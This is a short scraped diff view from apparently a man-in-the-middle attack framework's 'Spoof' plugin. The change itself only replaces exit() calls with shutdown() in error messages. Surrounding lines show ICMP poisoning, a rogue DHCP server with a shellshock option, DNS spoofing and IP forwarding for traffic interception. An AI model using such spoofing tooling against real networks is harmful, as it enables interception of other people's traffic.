icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
|
icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address)
|
||||||
icmp.debug = debug
|
icmp.debug = debug
|
||||||
|
@ -88,7 +87,7 @@ class Spoof(Plugin):
|
||||||
elif options.dhcp:
|
elif options.dhcp:
|
||||||
|
|
||||||
if options.targets:
|
if options.targets:
|
||||||
exit("[-] --targets argument invalid when DCHP spoofing")
|
shutdown("[-] --targets argument invalid when DCHP spoofing")
|
||||||
|
|
||||||
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
||||||
dhcp.shellshock = options.shellshock
|
dhcp.shellshock = options.shellshock
|
||||||
|
@ -104,7 +103,7 @@ class Spoof(Plugin):
|
||||||
DNSChef.getInstance().loadRecords(self.dnscfg)
|
DNSChef.getInstance().loadRecords(self.dnscfg)
|
||||||
|
|
||||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||||
exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||||
|
|
||||||
SystemConfig.setIpForwarding(1)
|
SystemConfig.setIpForwarding(1)
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue